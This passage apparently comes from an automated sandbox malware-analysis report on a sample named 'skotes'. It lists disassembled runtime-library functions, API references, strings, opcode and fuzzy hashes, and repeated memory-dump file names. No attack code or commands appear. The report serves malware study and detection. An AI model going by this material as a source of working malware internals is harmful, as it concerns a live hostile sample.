Part of subcall function 0012CAF3: Mailbox.LIBCMT ref: 0012CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001320C8
StructuredWorkStealingQueue.LIBCMT ref: 001320FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0013210F

Strings

e, xrefs: 001320D9

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 98c781badac28faa572910be96fb5facd530a9ee34cdc87641b3c12b25ada2e2
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: D411C631200205ABDB59EE79C98166B73A8EF12364F14C15AFD069F242DB75D905CB90

Function 0011D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0011D0A5

Strings

SleepConditionVariableCS, xrefs: 0011D05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0011D03B
kernel32.dll, xrefs: 0011D04C
WakeAllConditionVariable, xrefs: 0011D069

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 31d54f8ab44b0df8d8f81323f6ee65f390c13c49a353e17b8a624d05ff8644b0
Instruction ID: 4892d04e40c37b6fd5a0dd31d3cc38a4960cda9fc390708f121f29b73fae98cc
Opcode Fuzzy Hash: 31d54f8ab44b0df8d8f81323f6ee65f390c13c49a353e17b8a624d05ff8644b0
Instruction Fuzzy Hash: 9901A721AC2715E9FB35367A7D01EAB31898B87B49F451530FC14E7590DFE1DC824572

Function 00144C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00144C98
__alloca_probe_16.LIBCMT ref: 00144D5E
__freea.LIBCMT ref: 00144DCA

Part of subcall function 0013B04B: RtlAllocateHeap.NTDLL(00000000,C6B03A30,?,?,0011D3FC,C6B03A30,?,00117A8B,?,?,?,?,?,?,00107465,?), ref: 0013B07E

__freea.LIBCMT ref: 00144DD3
__freea.LIBCMT ref: 00144DF6

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: ae1a561a47d34caec75352eda83de8362b70420268738ab2cc7f564385b0f362
Instruction ID: 1d84b939ac0ab01dd26d6b31f2d789acc47cc36d7bc20fb73f5e540a317833c1
Opcode Fuzzy Hash: ae1a561a47d34caec75352eda83de8362b70420268738ab2cc7f564385b0f362
Instruction Fuzzy Hash: 6F51F772A00216AFEF259FA4DC81FBB37A9DFA4750F294129FD04A7161EB30DC5197A0

Function 0012E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0012E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0012E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0012E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0012E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0012E9DC

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 9c1d8b31681f4bd38248142ec1d26dbe641bf8efbeac551e51bae58d85cc45fd
Instruction ID: 85256ff66ff168ed20d2ba3ef66fa26242c05f0c523ac1f06271af93576b8355
Opcode Fuzzy Hash: 9c1d8b31681f4bd38248142ec1d26dbe641bf8efbeac551e51bae58d85cc45fd
Instruction Fuzzy Hash: 21418235A00229EFCF09DFA4D554AADB7B6FF48310F04815AE906AB790CB34AE51CF80

Function 0011ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0011ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0011ED17

Part of subcall function 0011F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0011F3FA

__alloca_probe_16.LIBCMT ref: 0011ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0011ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0011EDC6

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
